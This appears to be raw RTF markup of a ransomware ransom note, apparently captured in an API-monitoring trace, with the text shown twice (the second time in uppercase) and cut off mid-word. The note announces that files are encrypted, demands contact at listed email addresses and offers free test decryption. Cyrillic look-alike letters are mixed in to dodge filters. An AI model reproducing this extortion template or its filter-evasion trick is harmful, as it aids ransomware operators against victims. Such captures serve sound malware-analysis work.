il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 [EML3]\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b [KID]\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 [RDM_STR]\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchLength=0x36f0 | out: lpsz="{\\RTF1\\ANSI\\ANSICPG1251\\DEFF0\\NOUICOMPAT\\DEFLANG1049{\\FONTTBL{\\F0\\FNIL\\FCHARSET0 CALIBRI;}{\\F1\\FNIL\\FCHARSET204 CALIBRI;}}\r\n{\\COLORTBL ;\\RED255\\GREEN0\\BLUE0;\\RED155\\GREEN0\\BLUE211;\\RED255\\GREEN255\\BLUE0;\\RED0\\GREEN176\\BLUE80;\\RED255\\GREEN255\\BLUE255;}\r\n{\\*\\GENERATOR RICHED20 10.0.15063}\\VIEWKIND4\\UC1 \r\n\\PARD\\RI-500\\SA200\\SL240\\SLMULT1\\QC\\TX8804\\UL\\B\\F0\\FS28\\LANG1033 SHIT H\\F1\\LANG1049\\'C0\\F0\\LANG1033 PPENS!\\ULNONE\\F1\\LANG1049\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\QC\\TX8378\\F0\\FS24\\LANG1033 WE H\\F1\\LANG1049\\'C0\\F0\\LANG1033 VE T\\F1\\LANG1049\\'CE\\F0\\LANG1033 INF\\F1\\LANG1049\\'CE\\F0\\LANG1033 RM Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 U TH\\F1\\LANG1049\\'C0\\F0\\LANG1033 T \\F1\\LANG1049\\'C0\\F0\\LANG1033 LL Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FILES WERE ENCRYPTED!\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF1\\PAR\r\n\\CF0 PLE\\F1\\LANG1049\\'C0\\F0\\LANG1033 SE BE SURE, Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FILES \\F1\\LANG1049\\'C0\\F0\\LANG1033 RE N\\F1\\LANG1049\\'CE\\F0\\LANG1033 T BR\\F1\\LANG1049\\'CE\\F0\\LANG1033 KEN!\\B0\\PAR\r\n\\I Y\\F1\\LANG1049\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S W\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D WITH STR\\F1\\LANG1049\\'EE\\F0\\LANG1033 NG \\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LG\\F1\\LANG1049\\'EE\\F0\\LANG1033 RITHMS.\\I0\\PAR\r\n\\I * PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 IS N\\F1\\LANG1049\\'EE\\F0\\LANG1033 W\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S WITH\\F1\\LANG1049\\'EE\\F0\\LANG1033 UT UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND SP\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 I\\F1\\LANG1049\\'E0\\F0\\LANG1033 L S\\F1\\LANG1049\\'EE\\F0\\LANG1033 FTW\\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 . Y\\F1\\LANG1049\\'EE\\F0\\LANG1033 UR UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 IS S\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 UR\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'F3\\F0\\LANG1033 ST\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 N \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR S\\F1\\LANG1049\\'E5\\F0\\LANG1033 RV\\F1\\LANG1049\\'E5\\F0\\LANG1033 R.\\PAR\r\n* T\\F1\\LANG1049\\'EE\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U N\\F1\\LANG1049\\'E5\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR SP\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 IFI\\F1\\LANG1049\\'F1\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 UT\\F1\\LANG1049\\'EE\\F0\\LANG1033 M\\F1\\LANG1049\\'E0\\F0\\LANG1033 TI\\F1\\LANG1049\\'F1\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N T\\F1\\LANG1049\\'EE\\'EE\\F0\\LANG1033 L \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 .\\PAR\r\n* \\F1\\LANG1049\\'C0\\F0\\LANG1033 LL \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S W\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 D BUT \\F1\\LANG1049\\'E0\\F0\\LANG1033 FT\\F1\\LANG1049\\'E5\\F0\\LANG1033 R D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N PR\\F1\\LANG1049\\'EE\\'F1\\'E5\\F0\\LANG1033 SS FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 S WILL B\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 D T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 RIGIN\\F1\\LANG1049\\'E0\\F0\\LANG1033 L ST\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 . D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 STRU\\F1\\LANG1049\\'F1\\F0\\LANG1033 TUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 WILL N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T \\F1\\LANG1049\\'F1\\F0\\LANG1033 H\\F1\\LANG1049\\'E0\\F0\\LANG1033 NG\\F1\\LANG1049\\'E5\\F0\\LANG1033 .\\PAR\r\n* PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 B\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 TT\\F1\\LANG1049\\'E5\\F0\\LANG1033 MPTS T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S B\\F1\\LANG1049\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 URS\\F1\\LANG1049\\'E5\\F0\\LANG1033 LF \\F1\\LANG1049\\'EE\\F0\\LANG1033 R USING THIRD P\\F1\\LANG1049\\'E0\\F0\\LANG1033 RT\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\'EE\\F0\\LANG1033 LS \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N R\\F1\\LANG1049\\'E5\\F0\\LANG1033 SULT IN IRR\\F1\\LANG1049\\'E5\\F0\\LANG1033 V\\F1\\LANG1049\\'EE\\'F1\\'E0\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'EE\\F0\\LANG1033 SS \\F1\\LANG1049\\'EE\\F0\\LANG1033 F \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 !\\B\\I0\\PAR\r\n\\PAR\r\nWH\\F1\\LANG1049\\'C0\\F0\\LANG1033 T D\\F1\\LANG1049\\'CE\\F0\\LANG1033 Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 U NEED T\\F1\\LANG1049\\'CE\\F0\\LANG1033 D\\F1\\LANG1049\\'CE\\F0\\LANG1033 ?\\PAR\r\n\\B0 FIRST \\F1\\LANG1049\\'EE\\F0\\LANG1033 F \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U H\\F1\\LANG1049\\'E0\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 US B\\F1\\LANG1049\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\PAR\r\n\r\n\\PARD\\SL240\\SLMULT1\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FIRST \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB \\B\\FS28 BILLWONG73@YAHOO.COM\\PAR\r\n\\B0\\F1\\FS24\\LANG1049\\'CE\\F0\\LANG1033 UR S\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 ND \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB\\TAB\\B\\FS28 BILLWONG73@PROTONMAIL.COM\\PAR\r\n\\B0\\F1\\FS24\\LANG1049\\'CE\\F0\\LANG1033 UR THIRD \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB\\TAB\\B\\FS28 [EML3]\\CF1\\FS24\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF0\\B0\\PAR\r\n\r\n\\PARD\\SL240\\SLMULT1\\CF1\\UL\\B\\F1\\FS28\\LANG1049\\'C0\\F0\\LANG1033 TTENTI\\F1\\LANG1049\\'CE\\F0\\LANG1033 N!\\PAR\r\n\\ULNONE\\FS26 IF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U W\\F1\\LANG1049\\'E0\\F0\\LANG1033 NT T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 US T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL \\F1\\LANG1049\\'E0\\F0\\LANG1033 DR\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E5\\F0\\LANG1033 S!\\PAR\r\nIT IS R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 LL\\F1\\LANG1049\\'F3\\F0\\LANG1033 IMP\\F1\\LANG1049\\'EE\\F0\\LANG1033 RT\\F1\\LANG1049\\'E0\\F0\\LANG1033 NT B\\F1\\LANG1049\\'E5\\'F1\\'E0\\F0\\LANG1033 US\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 F D\\F1\\LANG1049\\'E5\\F0\\LANG1033 LIV\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PR\\F1\\LANG1049\\'EE\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 MS WITH S\\F1\\LANG1049\\'EE\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL S\\F1\\LANG1049\\'E5\\F0\\LANG1033 RVI\\F1\\LANG1049\\'F1\\'E5\\F0\\LANG1033 S!\\PAR\r\nPL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 B\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 W\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LW\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 S IN T\\F1\\LANG1049\\'EE\\F0\\LANG1033 U\\F1\\LANG1049\\'F1\\F0\\LANG1033 H \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 D\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 